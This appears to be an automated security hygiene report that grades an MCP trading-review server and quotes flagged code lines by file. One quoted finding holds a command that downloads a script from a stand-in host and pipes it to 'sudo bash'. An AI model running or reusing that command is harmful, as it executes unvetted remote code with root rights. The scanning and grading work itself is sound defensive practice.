MCP, MCP server
invinoveritas
The pre-trade review your autonomous trading agent calls before it risks real capital — the same gate we run our own important decisions through.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
integrations/agentskills/loop-verifier/SKILL.md, line 65
-d '{"artifact":"curl -s http://deploy.example.sh/setup | sudo bash", - NETWORK_HOST_FROM_INPUT Medium
A file takes a URL or endpoint as input and has no fixed host list.
examples/invinoveritas_strategy.py, line 77
resp = requests.post(url, json=payload, timeout=15)
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
examples/ag2-preflight-verification/test_preflight.py, line 82
os.remove(self._ps._HANDSHAKE_DB)
examples/aisp-deployment-approval/google_agents_cli_deploy_readiness_aisp/scripts/approval_verifier.py, line 383
proc = subprocess.run(cmd, capture_output=True, text=True)
examples/aisp-deployment-approval/google_agents_cli_deploy_readiness_aisp/scripts/test_skill_dispatch.py, line 79
proc = subprocess.run(cmd, capture_output=True, text=True, env=self.env, cwd=str(SKILL))
Show more
examples/erc8226-three-record-composition/add_review_record.py, line 53
tx = json.loads(subprocess.run(
examples/erc8226-three-record-composition/add_review_record.py, line 57
rcpt = json.loads(subprocess.run(
examples/erc8226-three-record-composition/compose_with_test_double.py, line 108
result = subprocess.run(["cast", *args], capture_output=True, text=True, timeout=60)
examples/erc8226-three-record-composition/compose_with_test_double.py, line 115
result = subprocess.run(
examples/erc8226-three-record-composition/exercise_as_agent.py, line 31
result = subprocess.run(["cast", *args], capture_output=True, text=True, timeout=60)
integrations/conformance/erc-8309-vantage/scripts/vantage_spec_mutations.py, line 215
p = subprocess.run(
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
integrations/agentskills/loop-verifier/SKILL.md, line 65
-d '{"artifact":"curl -s http://deploy.example.sh/setup | sudo bash",
Network
Serious
accepts a host from input, with no fixed list in this file.
NETWORK_HOST_FROM_INPUT
examples/invinoveritas_strategy.py, line 77
resp = requests.post(url, json=payload, timeout=15)
examples/invinoveritas_strategy.py, line 90
retry = requests.post(
examples/invinoveritas_strategy.py, line 102
r = requests.get(f"{API_BASE}/price/decision", timeout=5)
Show more
examples/quickstart.py, line 40
reg = checked_json(requests.post(
examples/quickstart.py, line 48
r = checked_json(requests.post(
examples/quickstart.py, line 61
bal = checked_json(requests.get(f"{API}/balance", params={"api_key": key}), "balance")
examples/ag2-preflight-verification/preflight_verifier.py, line 204
with urllib.request.urlopen(req, timeout=self.timeout_seconds) as resp:
examples/ag2-preflight-verification/preflight_verifier.py, line 318
with urllib.request.urlopen(req, timeout=timeout_seconds) as resp:
examples/decision-receipt/slot_log_check.py, line 162
pbytes = urllib.request.urlopen(prof["url"], timeout=15).read()
examples/decision-receipt/slot_log_check.py, line 163
vbytes = urllib.request.urlopen(prof["vectors_url"], timeout=15).read()
integrations/agentskills/invinoveritas/SKILL.md, line 40
curl -s -X POST https://api.babyblueviper.com/register \
integrations/agentskills/loop-verifier/SKILL.md, line 60
KEY=$(curl -s -X POST https://api.babyblueviper.com/register | jq -r .api_key)
integrations/agentskills/loop-verifier/SKILL.md, line 63
curl -s -X POST https://api.babyblueviper.com/review \
integrations/agentskills/loop-verifier/SKILL.md, line 87
RESP=$(curl -s -X POST https://api.babyblueviper.com/review \
integrations/agentskills/loop-verifier/SKILL.md, line 124
curl -s -X POST https://api.babyblueviper.com/verify-proof \
integrations/agentskills/verification-handshake/SKILL.md, line 44
curl -s -X POST https://api.babyblueviper.com/verify-proof \
integrations/agentskills/verification-handshake/SKILL.md, line 56
curl -s -X POST https://api.babyblueviper.com/review \
integrations/conformance/adapters/live_check.py, line 149
with urllib.request.urlopen(req, timeout=timeout) as r:
integrations/smolagents/test-live.py, line 8
Get a free key: curl -s -X POST https://api.babyblueviper.com/register \
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
examples/ag2-preflight-verification/preflight_verifier.py, line 98
env = os.environ.get("OPERATOR_FULL_API_KEY") or os.environ.get("INVINO_API_KEY")
examples/ag2-preflight-verification/preflight_verifier.py, line 101
env_path = _ROOT / ".env"
examples/ag2-preflight-verification/preflight_verifier.py, line 181
"or put OPERATOR_FULL_API_KEY in the repo .env)"
Show more
examples/air-v03-verdict-dry-run/test_verdict_dryrun.py, line 65
raise unittest.SkipTest("PUBLISHED_PUBKEY empty - .env / NOSTR_NSEC required")
examples/erc8226-three-record-composition/add_review_record.py, line 135
env_hl = _load_env(REPO / ".env.hl")
examples/erc8226-three-record-composition/add_review_record.py, line 136
env_root = _load_env(REPO / ".env")
examples/erc8226-three-record-composition/compose_three_records.py, line 451
env_hl = _load_env(REPO / ".env.hl")
examples/erc8226-three-record-composition/compose_three_records.py, line 452
env_root = _load_env(REPO / ".env")
examples/erc8274-erc8350-composition/compose_and_verify.py, line 352
env_file = ROOT / ".env"
examples/marketplace/agent_revenue_demo.py, line 26
SELLER_API_KEY = os.getenv("INVINO_API_KEY", "")
examples/marketplace/agent_revenue_demo.py, line 27
BUYER_API_KEY = os.getenv("BUYER_API_KEY", SELLER_API_KEY)
examples/qbtlabs-x402-verdict-gate/live_demo.mjs, line 122
apiKey: process.env.INVINOVERITAS_KEY, failMode: 'closed', proceedOn: ['approve', 'approve_with_concerns'],
examples/qbtlabs-x402-verdict-gate/live_demo.mjs, line 136
const from = process.env.PAYER_KEY ? privateKeyToAccount(process.env.PAYER_KEY).address : '0x0000000000000000000000000000000000000001';
examples/qbtlabs-x402-verdict-gate/live_demo.mjs, line 145
privateKey: process.env.PAYER_KEY, gate, rpcUrl: 'https://mainnet.base.org',
examples/trading/trading_bot_net_profit.py, line 31
API_KEY = os.getenv("INVINO_API_KEY", "")
examples/wyriwe-step3-zktls-demo/verify_input_source.js, line 103
const appSecret = (env.PRIMUS_APP_SECRET || process.env.PRIMUS_APP_SECRET || "").trim();
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Concern
contains an encoded blob in a file that should be readable.
OBFUSCATION_ENCODED_BLOB
examples/botoshi-scorecard-verification/eth_getlogs_raw_response.json, line 1
{"jsonrpc":"2.0","result":[{"address":"0xb61bc7487424172cb9fa9dd381a9ec06c7067dcd","blockHash":"0x30cd5140b6f15376368632b57be9d10e8199a484090b1797d4160e9360151355","blockNumber":"0
examples/erc8226-three-record-composition/outputs/review_blocked.json, line 123
"pq_pubkey": "336f2fd2cbc38f5eac4de77f1ae23cb917c95c74aab5b68e31b54fb973892872213afb844d623c9d546493ce63418969c7748772f7ca4005f49eb03cf4b6aa49f828744372a410a015170082622d6eb3ec3e58
examples/erc8226-three-record-composition/outputs/review_blocked.json, line 124
"signature_hex": "e3a2cb1119ff251e15aa22693d2056cc1d2b3f49bef48d989c3fc8f7c860bb4c6702eeb1a79421202811b5b241342944b0a667f0fb21aac3d8532a8a7e8aade23d6db718cbfc31286afbe4ddf78e962d63
Show more
examples/erc8226-three-record-composition/outputs/review_cleared.json, line 115
"pq_pubkey": "336f2fd2cbc38f5eac4de77f1ae23cb917c95c74aab5b68e31b54fb973892872213afb844d623c9d546493ce63418969c7748772f7ca4005f49eb03cf4b6aa49f828744372a410a015170082622d6eb3ec3e58
examples/erc8226-three-record-composition/outputs/review_cleared.json, line 116
"signature_hex": "09c2ba73400f1e3709207d118a695060c9ea02d2c08e74e2a1a11a474c17b05418809fc1b0c86c283b8aad7dab30b43fb1452dca2f7fdb30ac4aa9ba879ca8cbcd13b5b27456f8b8a94a1d0b1497b5035f
examples/erc8226-three-record-composition/outputs/review_test_double_cleared.json, line 106
"pq_pubkey": "336f2fd2cbc38f5eac4de77f1ae23cb917c95c74aab5b68e31b54fb973892872213afb844d623c9d546493ce63418969c7748772f7ca4005f49eb03cf4b6aa49f828744372a410a015170082622d6eb3ec3e58
examples/erc8226-three-record-composition/outputs/review_test_double_cleared.json, line 107
"signature_hex": "e65b5432473b22da26085343b1fd64bf4039905509692e2c1b6f9b124b6da7cdf6c8ce44f749de641a45f50a644d326384264aae67e1fef331c85c2482b0b7b83d7541ecb78d1957c59bd6f010709d52f6
examples/erc8226-three-record-composition/outputs/review_test_double_over_cap.json, line 114
"pq_pubkey": "336f2fd2cbc38f5eac4de77f1ae23cb917c95c74aab5b68e31b54fb973892872213afb844d623c9d546493ce63418969c7748772f7ca4005f49eb03cf4b6aa49f828744372a410a015170082622d6eb3ec3e58
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit ce8c504f2ae4. can delete files. install fetches a script from the network. accepts a host from input, with no fixed list in this file. reads a credential or environment file. contains an encoded blob in a file that should be readable.
Date and source
Date checked:
github.com
Commit graded: ce8c504f2ae4d9b389b53823fe16afec7fcf3bb3
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.